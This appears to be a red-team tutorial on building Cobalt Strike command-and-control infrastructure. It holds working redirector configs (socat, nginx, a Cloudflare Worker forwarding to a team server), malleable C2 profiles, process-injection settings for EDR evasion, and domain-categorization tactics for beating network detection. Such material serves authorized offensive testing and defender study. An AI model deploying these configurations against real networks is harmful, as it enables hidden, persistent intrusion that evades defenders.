Building C2 Infrastructure That Doesn't Get Burned
Your Cobalt Strike beacon gets flagged in 30 seconds because your infrastructure is trash. This covers redirector chains, domain fronting alternatives, malleable C2 profiles, and the operational security that separates a red team from a pentest.
The difference between a red team that gets caught in the first hour and one that maintains access for months is not the implant. It’s the infrastructure. Most teams get burned because their C2 server sits on a VPS with a fresh domain, no SSL, and a default malleable profile. Threat intel picks it up before the first callback hits.
This is how you build C2 infrastructure that survives against a blue team that actually does their job.
Architecture: Never Direct
The golden rule: no implant ever connects directly to your team server. Every callback goes through at least one redirector.
Implant → Redirector (HTTPS) → Team Server
Implant → CDN/Cloud Function → Redirector → Team Server
Why Redirectors
- Attribution isolation: if the redirector burns, swap it. Team server stays intact, all other implants still work
- Filtering: the redirector can drop non-beacon traffic (scanners, IR teams probing your domain)
- Domain categorization: the redirector’s domain gets categorized as legitimate. The team server’s IP never appears in any log
Redirector Types
Dumb redirector (socat/iptables):
socat TCP4-LISTEN:443,fork TCP4:<teamserver>:443
Simple, works, but doesn’t filter. Only use for quick-and-dirty setups.
Apache/Nginx with mod_rewrite: Redirect only traffic matching your malleable profile, return 404 or proxy to a legitimate site for everything else.
location / {
if ($http_user_agent !~* "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\)") {
return 301 https://www.microsoft.com;
}
if ($uri !~* "^/(api/v2/status|content/update)") {
return 301 https://www.microsoft.com;
}
proxy_pass https://<teamserver>;
proxy_ssl_verify off;
}
Now anyone scanning your redirector domain sees a redirect to Microsoft. Only traffic with the exact User-Agent and URI from your malleable profile reaches the team server.
Cloud functions (AWS Lambda / Azure Functions / Cloudflare Workers):
The implant calls a serverless function URL. The function validates the request and forwards to the team server. Advantages: the callback domain is *.amazonaws.com or *.workers.dev, already categorized and trusted by most proxies.
// Cloudflare Worker redirector (simplified)
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
const ua = request.headers.get('User-Agent')
if (!ua || !ua.includes('Windows NT 10.0')) {
return Response.redirect('https://www.microsoft.com', 302)
}
const url = new URL(request.url)
url.hostname = 'teamserver.internal.domain'
return fetch(url.toString(), request)
}
Domain Setup
Categorized Domains
Buy aged domains (1+ years old) with existing categorization. Check on:
- Bluecoat/Symantec SiteReview
- McAfee TrustedSource
- Palo Alto URL Filtering
Target categories: Business, Technology, Cloud Services, Content Delivery. Avoid anything uncategorized, newly registered, or previously flagged.
Expireddomains.net is the primary source. Filter by:
- Archive.org entries (shows historical content)
- Backlinks from legitimate sites
- No previous malware flags
SSL Certificates
Use Let’s Encrypt with certbot. No self-signed certificates ever. Configure HTTPS properly:
certbot certonly --standalone -d c2.yourdomain.com
Then configure your redirector to serve the cert and proxy to the team server over an encrypted tunnel (WireGuard or SSH).
DNS Configuration
- Set proper SPF, DKIM, DMARC records (even if you’re not sending email, missing records flag the domain)
- Use CDN (Cloudflare) in front of the redirector for additional legitimacy
- Create realistic subdomains:
api.,cdn.,static.,update.
Malleable C2 Profiles
The malleable profile defines how your beacon traffic looks on the wire. A bad profile gets caught by network detection in seconds. A good one blends into normal traffic.
Key Profile Sections
HTTP-GET (beacon check-in):
http-get {
set uri "/api/v2/status /content/update /static/check";
client {
header "Accept" "application/json, text/html";
header "Accept-Language" "en-US,en;q=0.9";
header "Connection" "keep-alive";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
header "Cache-Control" "no-cache";
header "Server" "nginx";
output {
base64;
print;
}
}
}
HTTP-POST (task output):
http-post {
set uri "/api/v2/telemetry /content/sync";
set verb "POST";
client {
header "Content-Type" "application/json";
id {
base64url;
prepend "token=";
header "Authorization";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print;
}
}
}
Process injection settings (critical for EDR evasion):
process-inject {
set startrwx "false";
set userwx "false";
set min_alloc "16384";
set bof_reuse_memory "true";
transform-x64 {
prepend "\x90\x90\x90\x90";
}
execute {
CreateThread "ntdll!RtlUserThreadStart";
NtQueueApcThread-s;
CreateRemoteThread;
RtlCreateUserThread;
}
}
Profile Validation
Before deploying, validate the profile:
./c2lint malleable.profile
Then test against detection:
- Capture traffic with Wireshark and inspect for obvious patterns
- Run the profile through MalleableC2-Profiles comparison tool
- Check JA3/JA3S fingerprints against known Cobalt Strike signatures
Sleep and Jitter
Default Cobalt Strike sleep is 60 seconds with 0% jitter. This is trivially detectable. Fixed-interval beaconing is the first thing threat hunters look for.
set sleeptime "45000"; # 45 seconds
set jitter "37"; # 37% randomization
For long-haul operations:
set sleeptime "3600000"; # 1 hour
set jitter "50"; # 30min to 1.5h window
The implant checks in randomly within the window, mimicking human-driven application traffic rather than automated C2.
Operational Channels
Separate your infrastructure by function:
| Channel | Purpose | Sleep | Domain |
|---|---|---|---|
| Short-haul | Initial access, active exploitation | 5-30s | Burnable domain |
| Long-haul | Persistent access, data staging | 1-24h | High-value categorized domain |
| Interactive | Post-exploitation, hands-on keyboard | 0-1s | Separate redirector, activated on-demand |
Never run interactive operations over your long-haul channel. If the interactive session gets detected, you don’t lose persistent access.
Alternative C2 Channels
When HTTPS isn’t viable:
DNS beaconing: Slow but works through most corporate firewalls. Beacon data encoded in DNS TXT/A/AAAA queries to your authoritative nameserver.
# In malleable profile
dns-beacon {
set dns_idle "8.8.8.8";
set dns_sleep "0";
set maxdns "255";
}
DoH (DNS over HTTPS): Same concept but through https://dns.google/resolve?. Blends with legitimate DoH traffic.
SMB/TCP beacons (internal): For lateral movement. Child beacons communicate over named pipes or TCP to a parent beacon that has external C2. No additional external traffic per hop.
# Link SMB beacon
link <target> \\.\pipe\msagent_ld
Quick OPSEC Checklist
- Team server IP never appears in any public DNS or certificate transparency log
- Redirectors filter non-beacon traffic and return legitimate-looking responses
- Domains are aged and categorized before use
- Malleable profile mimics real application traffic, validated with c2lint
- JA3 fingerprint doesn’t match known C2 signatures
- Sleep + jitter configured per channel purpose
- SSH to team server only from VPN, never from personal IP
- Separate infrastructure for each operation, never reuse across clients
- Kill dates set on all beacons
The infrastructure is the operation. If your callbacks look like callbacks, no amount of AMSI bypass or EDR evasion will save you.